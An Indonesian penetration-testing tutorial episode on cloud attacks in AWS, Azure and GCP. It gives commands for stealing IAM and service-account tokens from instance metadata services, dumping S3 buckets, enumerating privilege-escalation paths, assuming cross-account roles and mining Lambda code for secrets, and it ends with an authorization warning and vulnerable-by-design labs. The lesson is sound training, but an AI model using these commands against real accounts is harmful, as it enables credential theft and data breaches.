Belajar Penetration Tester - Cloud Pentesting

#Pendahuluan

Setelah di episode 13 kita mempelajari API & mobile pentesting — testing REST/GraphQL dan mobile apps dengan Burp Suite & Frida — pada episode ini kita masuk ke domain yang semakin kritis: cloud pentesting. Organisasi beramai-ramai migrasi ke cloud (AWS, Azure, GCP), tetapi misconfiguration tetap menjadi penyebab utama breach — menurut IBM, 82% breach melibatkan human error termasuk misconfiguration.

Cloud pentesting berbeda dari traditional pentesting karena attack surface-nya sangat luas: dari IAM policies hingga serverless functions, dari storage buckets hingga Kubernetes clusters. Kalian harus memahami model tanggung jawab bersama (shared responsibility model) dan bagaimana masing-masing cloud provider menangani keamanan.

#AWS Pentesting

#EC2 Metadata Service — SSRF ke Credentials

EC2 instances memiliki metadata service di 169.254.169.254 yang bisa diakses dari instance itu sendiri. Jika ada SSRF, attacker bisa mengambil IAM credentials:

bash

# Ambil IAM role credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
 
# Ambil credentials spesifik
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole
 
# Dengan IMDSv2 (harus terlebih dahulu dapat token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

#S3 Bucket Enumeration

bash

# List buckets
aws s3 ls
 
# Check for public access
aws s3api get-bucket-acl --bucket target-bucket
 
# Download entire bucket
aws s3 sync s3://target-bucket ./dump
 
# S3Scanner
pip install s3scanner
s3scanner scan --bucket target-bucket

#IAM Enumeration & Privilege Escalation

bash

# Enumerate current permissions
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name current_user
aws iam list-user-policies --user-name current_user
 
# Enumerate all users
aws iam list-users
 
# Check for privilege escalation paths
# → iam:PassRole + lambda:CreateFunction = code execution
# → iam:PassRole + ec2:RunInstance = code execution

#Pacu — AWS Exploitation Framework

bash

# Install Pacu
git clone https://github.com/RhinoSecurityLabs/pacu
cd Pacu
pip install -r requirements.txt
python3 pacu
 
# Modules
Pacu> run iam__enum_users_roles_policies_groups
Pacu> run iam__privesc_scan
Pacu> run s3__bucket_finder

#Azure Pentesting

#Managed Identity Abuse

bash

# Cek managed identity credentials
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 
# Gunakan token untuk akses Azure API
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

#Azure AD Enumeration

bash

# Menggunakan roadtools
pip install roadtools
roadrecon auth --username user@tenant.com --password pass123
roadrecon gather
 
# Cari attack paths di Azure AD
roadrecon gui

#GCP Pentesting

#Metadata Service

bash

# GCP metadata (tanpa token)
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"
 
# Service account credentials
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

#GCP IAM Enumeration

bash

# Menggunakan gcp-iam-collector
gcp-iam-collector -t tenant_id -u user@tenant.com -p password

#Cloud-Specific Attacks

#Cross-Account Access

bash

# Jika ada permission sts:AssumeRole
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCOUNT:role/AdminRole
 
# Cek cross-account trust
aws iam get-role --role-name TargetRole --query "Role.AssumeRolePolicyDocument"

#Serverless (Lambda/Functions)

bash

# Lambda function code bisa mengandung credentials
# Enumerate functions
aws lambda list-functions
 
# Download function code
aws lambda get-function --function-name my-function
# Download ZIP → analisis source code → cari hardcoded secrets

Warning

Cloud pentesting membutuhkan akses ke cloud environment yang diizinkan. Jangan pernah mencoba mengakses cloud account yang bukan milik kalian tanpa written authorization. Misconfiguration bisa menyebabkan data breach yang dampaknya sangat besar.

#Praktik: Cloud Lab

#AWS

bash

# AWS Goat (vulnerable by design)
git clone https://github.com/ine-labs/AWSGoat
cd AWSGoat
./deploy.sh

#Azure

bash

# AzureGoat
git clone https://github.com/ine-labs/AzureGoat
cd AzureGoat

#GCP

bash

# GCPGoat
git clone https://github.com/ine-labs/GCPGoat
cd GCPGoat

#Penutup

Inti yang harus dibawa pulang:

EC2 metadata: SSRF → IAM credentials via 169.254.169.254
S3 bucket: public access, enumeration, sync
IAM privilege escalation: iam:PassRole + lambda/ec2 = code execution
Azure: managed identity abuse, Azure AD enumeration
GCP: metadata service, service account credentials
Tool utama: Pacu, ScoutSuite, Prowler, CloudMapper

Di episode 15 selanjutnya, kita akan mempelajari container & Kubernetes security — Docker escape, K8s misconfiguration, dan supply chain attacks.